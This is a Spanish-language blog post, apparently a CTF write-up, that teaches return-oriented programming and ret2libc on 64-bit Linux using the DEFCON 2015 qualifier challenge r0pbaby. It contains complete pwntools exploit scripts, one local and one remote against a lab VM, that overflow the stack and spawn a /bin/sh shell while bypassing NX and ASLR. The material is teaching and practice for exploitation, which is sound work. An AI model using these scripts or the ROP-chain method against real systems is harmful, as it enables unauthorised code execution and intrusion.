ROPeando para bypassear NX y ASLR con libc

Después de un tiempo desconectado del mundo de los posts, tiempo en el que me he dedicado a investigar y a aprender cosillas bastante interesantes prioritariamente del mundo del exploiting, hoy vengo a hablar sobre una técnica fundamental para el desarrollo de exploits, la técnica se hace llamar "Return Oriented Programming", abreviando, ROP.

La técnica ROP se basa en el control del flujo del programa ejecutando fragmentos de código que encontramos en memoria, estos fragmentos de código se llaman "gadgets", los gadgets tienen la peculiaridad de acabar habitualmente en la instrucción RET, aunque en algunas situaciones también serán de utilidad los gadgets que acabes en un JMP o un CALL. Resumiendo, el ROP es una técnica en la cual se reutiliza código ensamblador del propio programa para poder controlar al gusto de la persona el flujo del programa.

Esta técnica es bastante importante porque dichos gadgets son "inmunes" a la aleatoriedad del ASLR, la protección Address Space Layout Randomization fue implementada para evitar (o dificultar) la explotación del software, resumiendo, esta protección se encarga de aleatorizar las direcciones de varias secciones y librerías compartidas de los programas en ejecución, en este caso, la sección .text, que es donde se encuentran dichos gadgets junto al resto de código ensamblador del programa no se aleatoriza, por ello está técnica es utilizada continuamente en los exploits de hoy en día.

A día de hoy, por defecto desde hace tiempo la protección ASLR está activada en todos los sistemas GNU/Linux, por ello, en un caso real siempre deberemos lidiar con ello. También debo hablar de otra protección que podremos combatir con el ROP, la protección NX, es una protección que viene también implementada por defecto, en este caso en los compiladores, para impedir la ejecución de código en la pila, imposibilitando el uso de la técnica ret2ESP que se basaba en la ejecución del shellcode en el propio stack.

ASLR activado
NX activado
Stack no ejecutable
No hay nada mejor para aprender este tipo de técnicas que practicando, para ello realizaré un reto que se usó en el CTF clasificatorio de la DEFCON 2015, el reto se llama r0pbaby y lo podréis descargar en este LINK. Para replicar este reto ejecutaré dicho programa en otra máquina virtual con un Ubuntu que contendrá la flag, por lo tanto primero deberé explotarlo localmente en mi máquina y luego explotarlo remotamente en la máquina Ubuntu.

Una vez descargado podemos ver ante qué clase de archivo estamos con el comando file:


Podemos observar que estamos ante un ELF de 64 bits dynamically linked, vamos a ver como funciona el programa en ejecución.


También se puede observar el pseudocodigo que nos genera IDA para hacernos una idea.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi@1
  const char *v4; // rdi@1
  __int64 v5; // rax@2
  signed int v6; // eax@4
  __int64 v7; // rax@12
  unsigned __int64 v8; // r14@15
  int v9; // er13@17
  size_t v10; // r12@17
  int v11; // eax@18
  void *handle; // [sp+8h] [bp-448h]@1
  char nptr[1088]; // [sp+10h] [bp-440h]@2
  __int64 savedregs; // [sp+450h] [bp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  v3 = (char *)1;
  v4 = "libc.so.6";
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          sub_BF7(v4, v3);
          LODWORD(v5) = sub_B9A(nptr, 1024LL);
          if ( !v5 )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = 0LL;
          v6 = strtol(nptr, 0LL, 10);
          if ( v6 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          v3 = (char *)64;
          LODWORD(v7) = sub_B9A(nptr, 64LL);
          if ( v7 )
          {
            dlsym(handle, nptr);
            v3 = "Symbol %s: 0x%016llX\n";
            v4 = (const char *)1;
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            v4 = "Bad symbol.";
            puts("Bad symbol.");
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          goto LABEL_24;
        v3 = "libc.so.6: 0x%016llX\n";
        v4 = (const char *)1;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v6 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A(nptr, 1024LL);
      v3 = 0LL;
      v8 = (signed int)strtol(nptr, 0LL, 10);
      if ( v8 - 1 > 0x3FF )
      {
        v4 = "Invalid amount.";
        puts("Invalid amount.");
      }
      else
      {
        if ( v8 )
        {
          v9 = 0;
          v10 = 0LL;
          while ( 1 )
          {
            v11 = _IO_getc(stdin);
            if ( v11 == -1 )
              break;
            nptr[v10] = v11;
            v10 = ++v9;
            if ( v8 <= v9 )
              goto LABEL_22;
          }
          v10 = v9 + 1;
        }
        else
        {
          v10 = 0LL;
        }
LABEL_22:
        v3 = nptr;
        v4 = (const char *)&savedregs;
        memcpy(&savedregs, nptr, v10);
      }
    }
    if ( v6 == 4 )
      break;
LABEL_24:
    v4 = "Bad choice.";
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}
Como podéis observar en la ejecución del binario, en la opción 1 nos muestra la dirección en el momento de la ejecución de la base de la librería libc, en la opción 2 si proporcionamos una función de libc el binario nos devolverá su dirección, dichas direcciones, al estar la protección ASLR activada, serán diferentes en cada ejecución. Por último tenemos la opción 3, que es la que nos permitirá desbordar la pila para conseguir el control de RIP y así comenzar la explotación del binario.

Antes de seguir voy a realizar un pequeño inciso para explicar brevemente como funciona la librería libc y como podemos usarla para explotar el binario. La librería libc es una librería externa que contiene las funciones estándar de C y también contiene llamadas al sistema, estas librerías se usan en los programas para llamar a funciones que no están descritas directamente en el propio programa enlazándose con los mismos. Cuando esta librería está enlazada a un binario que queremos explotar conseguimos la posibilidad de llamar a cualquiera de sus funciones, pero antes debemos saber como lograr la ejecución de sus funciones, para ellos debemos tener en cuenta lo siguiente: en libc existe una dirección base, a partir de ella se construyen el resto de funciones de dicha librería, la funciones las podremos obtener mediante unos offsets que sumados a las bases nos llevaran a ejecutar la función deseada, más sencillo, podemos establecer una fórmula para obtener dichas funciones:

funcion_libc = base_libc + offset_funcion 

Siendo funcion_libc la dirección de una función implementada en la librería libc, base_libc la dirección de la base de libc y offset_function el offset en el que se encuentra la función que deseamos ejecutar. A continuación veréis como podemos aprovechar esta librería.

Para conseguir el control de RIP procedo a debuggear el binario eligiendo la opción 3 donde supuestamente la pila se desborda. Para ello usaré gdb-peda.


Vemos como obtenemos un "Segmentation fault" desbordando la pila con 16 bytes (uso AAAAAAAABBBBBBBB porque cada dirección en 64 bits ocupa 8 bytes).


Al estar explotando un binario de 64 bits si nosotros sobrescribimos el registro de direcciones RIP con "BBBBBBBB" = 0x4242424242424242 no se va a mostrar directamente en RIP como si pasaba cuando explotábamos binarios de 32 bits con EIP, esto es producido porque la el máximo tamaño de dirección en 64 bits es 0x00007FFFFFFFFFFF, en este caso podemos comprobar donde desborda de la siguiente manera:


Aquí vemos que sobrescribimos RIP en la posición de la letra B, para comprobar si estamos en lo cierto probamos lo siguiente:


Si os fijáis, estamos sobrescribiendo los 2 bytes menos significativos del registro RIP con 2 Bs, ahora si se muestra en RIP porque estamos por debajo del máximo permitido, por lo tanto podemos afirmar que tenemos que colocar un relleno de 8 bytes hasta llegar a sobrescribir RIP.

Ahora que hemos conseguido encontrar la posición de RIP, tenemos casi todos los ingredientes para comenzar a explotar el binario. De nuevo voy a hacer un inciso, en la librería libc también podemos encontrar instrucciones en ensamblador, por lo tanto, dentro de esta librería tenemos gadgets que podremos usar a nuestro gusto. Digo esto porque en 64 bits para llamar a una función que requiera argumentos debemos introducir dichos argumentos en unos registros determinados, a diferencia de 32 bits, donde los argumentos son empujados a la pila. Por lo tanto deberemos buscar la forma de introducir los argumentos de las funciones en los registros determinados por la siguiente tabla:


Como veis, por ejemplo, si queremos llamar a una función que requiera de un solo argumento deberemos introducirlo en RDI, si requiere de dos argumentos deberemos introducir el primer argumento en RDI y el segundo en RSI, y así con los argumentos que requiera la función. Os preguntareis cómo podemos introducir estos argumentos a cada registro, como respuesta diré que existe una instrucción muy util llamada POP, esta instrucción viene acompañada de un registro como por ejemplo POP RDI, y sirve para sacar un dato de la pila e introducirlo en RDI, esto es muy útil porque nosotros al estar escribiendo directamente sobre el stack el siguiente dato que se encuentre en el stack tras el POP saldrá de la pila y se introducirá en el registro correspondiente, en los gadgets encontraremos esta clase de instrucciones que usaremos para introducir argumentos en las funciones.

Después de ver como funcionan las llamadas a funciones en 64 bits veremos como modificar la técnica ret2libc para que nos funcione también en binarios de 64 bits. Para el que este leyendo esto y no sepa que es la técnica ret2libc haré un breve resumen, ret2libc es una técnica de explotación que se basa en la ejecución de una o varias funciones de la librería libc con el fin de ejecutar una shell, normalmente la función system() de libc, que al introducir como parámetro un ejecutable como /bin/sh te devolverá una shell, esta técnica surge con el fin de evadir la protección NX ya que la pila no es ejecutable, por lo tanto, si usamos la función system() de libc podremos ejecutar lo que deseemos. Comentaba que debemos modificar un poco la técnica ya que en 32 bits los argumentos se encuentran en la pila y en 64 bits en los registros por lo tanto la cosa cambia y deberemos usar una pequeña ROP chain.

En 32 bits la técnica funciona de la siguiente forma: al llegar al registros EIP introduciremos la dirección de la función system(), luego se debe colocar la dirección de retorno de la función a la que llamaremos (system()), después de indicar la dirección de retorno colocaremos la dirección de la string "/bin/sh" que se encuentre en el programa, para así obtener una shell sin complicarnos demasiado la vida.


En 64 bits la cosa cambia, primero deberemos popear en el registro RDI la dirección de la string "/bin/sh" para que entre como primer argumento y después llamar a la función system() de libc para ejecutarlo, para ello usaremos una sencilla ROP chain que veremos a continuación. Antes debemos obtener las direcciones de lo que vayamos a utilizar teniendo en cuenta que la protección ASLR está activa y que afecta a la dirección base de la librería libc, no a los offsets, por lo tanto es prioritario obtener la dirección de la base en ejecución para obtener el resto de direcciones reales en ejecución que suman un offset estático a la base aleatorizada.

El propio binario nos da la dirección base de la librería libc, o eso creemos, porque ahora os voy a demostrar que la dirección que el programa nos da de la base de libc es errónea. Para ello debemos ver que libc del sistema usa el binario con el comando ldd y así poder trabajar con la librería cómodamente.


Vemos que usa libc.so.6 así que vamos a comenzar a sacar los offsets de la función, del gadget que contenga un POP RDI ; RET y de la string "/bin/sh" de la librería, ya que en la librería podemos encontrar dicha string.

Para obtener el offset de la función system() usaré el comando readelf -s libc.so.6 | grep system.


Ahí tenemos la función system() junto a su correspondiente offset 42510, ahora podemos comprobar si las direcciones que nos proporciona el binario en su ejecución son correctas.


Ahora que tenemos la dirección base de libc en ejecución y la dirección de system podemos comprobar si alguna dirección es incorrecta, para ello podemos aplicar la fórmula mencionada con anterioridad (funcion_libc = base_libc + offset_funcion), despejando obtenemos esta otra fórmula: offset_funcion = funcion_libc - base_libc, realizando la siguiente operación deberíamos obtener el offset extraído con readelf de la función system.

 0x00007FFFF785C510 - 0x00007FFFF7FCC4F0 = -76FFE0

Está claro que alguna dirección es incorrecta, ya que no corresponde al offset extraído y además es negativo, vamos a ver que falla, para ello imprimo la dirección en ejecución de la función system en gdb con el comando print system.


La dirección que nos imprime es la misma que la que nos devuelve la opción 2 del programa, por lo tanto la dirección base de libc que nos devuelve el binario es errónea, todavía tenemos una oportunidad de obtener la dirección base despejando la formula anterior ya que tenemos el offset de la función y la dirección real de la función nos la provee el mismo binario con la opción 2, la formula quedaría tal que así: base_libc = funcion_libc - offset_funcion. Ahora necesitamos el offset del gadget POP RDI ; RET y el offset del string "/bin/sh".

Para obtener los gadgets con sus respectivos offsets usaré la herramienta ROPgadget y buscaré el que me interesa con grep.


En el offset 2144F vemos uno que es ideal, ahora solo falta conseguir el offset de la string "/bin/sh", para ello usaremos el comando strings -a -tx libc.so.6 | grep "/bin/sh".


Ahora que tenemos todos los offsets y los datos que nos interesan procederemos a escribir un exploit que quedará bastante sencillo con la ayuda de pwntools. El exploit quedaría de la siguiente manera:
from pwn import *

p = process('./r0pbaby_542ee6516410709a1421141501f03760')

context(os = "linux", arch = "amd64")
#context.log_level = 'DEBUG'

p.sendline("2")
p.sendlineafter("symbol: ", "system")
system = long(p.recvline_startswith("Symbol")[-18:].lower(), 16)
log.success("System address: " + str(hex(system)))

system_offset = 0x42510         # system@@GLIBC_2.2.5
pop_rdi_offset = 0x2144f        # 0x000000000002144f : pop rdi ; ret
sh_offset = 0x17d3f3            # 17d3f3 /bin/sh

base_libc = system - system_offset

log.success("Base libc address: " + str(hex(base_libc)))

junk = "A" * 8

pop_rdi = p64(pop_rdi_offset + base_libc)
sh = p64(sh_offset + base_libc)
system = p64(system)

payload = junk + pop_rdi + sh + system  # ROP chain

p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(len(payload)))
p.sendline(payload)

p.interactive()
El exploit comienza ejecutando el binario y guardando el proceso en la variable "p", luego establezco el "entorno de explotación" con context(), a continuación intento obtener la dirección de la función system() real que nos da el binario, a continuación con los offsets calculo las direcciones en ejecución de system(), el gadget y la string "/bin/sh" y por ultimo envía el payload a través de la opción 3 que desbordará la pila y ejecutará nuestra querida shell.


Y conseguimos la shell en local, ahora que tenemos nuestro exploit en local debemos hacerlo remoto, para ello debemos tener en cuenta otra cosa, la librería libc tiene varias versiones, por lo tanto no sabemos que versión se ejecuta en remoto y los offsets en cada versión de esta librería cambian, es decir, que los offsets que estamos usando no nos valen para un Ubuntu por ejemplo.

Por ello debemos determinar que versión de libc utiliza la máquina que queremos explotar, para ello obtendremos la dirección de una función, por ejemplo la de system() y usaremos el siguiente buscador para consultar en una base de datos de libc que versión se está ejecutando en la máquina remota.


Como se puede ver, el buscador directamente encuentra la versión de libc que se usa, en este caso libc6_2.23-0ubuntu10_amd64, junto a una serie de offsets que nos puede ser de utilidad, en este caso nos es de utilidad el offsets de system y de str_bin_sh. Por otra parte nos permite descargar la librería, esto lo usaremos para obtener el offset del gadget POP RDI.


Como la última vez, el gadget del offset 21102 se adecúa a la perfección a lo que nosotros queremos, ahora solo queda modificar el exploit y disparar.
from pwn import *

HOST = "192.168.1.130"
PORT = "1337"

p = remote(HOST, PORT)

context(os = "linux", arch = "amd64")
#context.log_level = 'DEBUG'

p.sendline("2")
p.sendlineafter("symbol: ", "system")
system = long(p.recvline_startswith("Symbol")[-18:].lower(), 16)
log.success("System address: " + str(hex(system)))

system_offset = 0x45390
pop_rdi_offset = 0x21102
sh_offset = 0x18cd57

base_libc = system - system_offset

log.success("Base libc address: " + str(hex(base_libc)))

junk = "A" * 8

pop_rdi = p64(pop_rdi_offset + base_libc)
sh = p64(sh_offset + base_libc)
system = p64(system)

payload = junk + pop_rdi + sh + system

p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(len(payload)))
p.sendline(payload)

p.interactive()

Comentarios

  1. Tremendo, sí señor. Aunque no soy muy fan del uso de pwntools, soluciona la espinita que tengo de escribir mi propia shellcode.
    A ver si alguien se anima a escribir un tuto práctico sobre shellcodes desde cero... :p

    ResponderEliminar
    Respuestas
    1. Gracias, pwntools te soluciona mucho la vida, si es verdad que mola montarte tus propias shellcodes, en el futuro lo mismo cae algo ;)

      Eliminar
  2. Muy buen Post. Gran aporte.

    ResponderEliminar

Publicar un comentario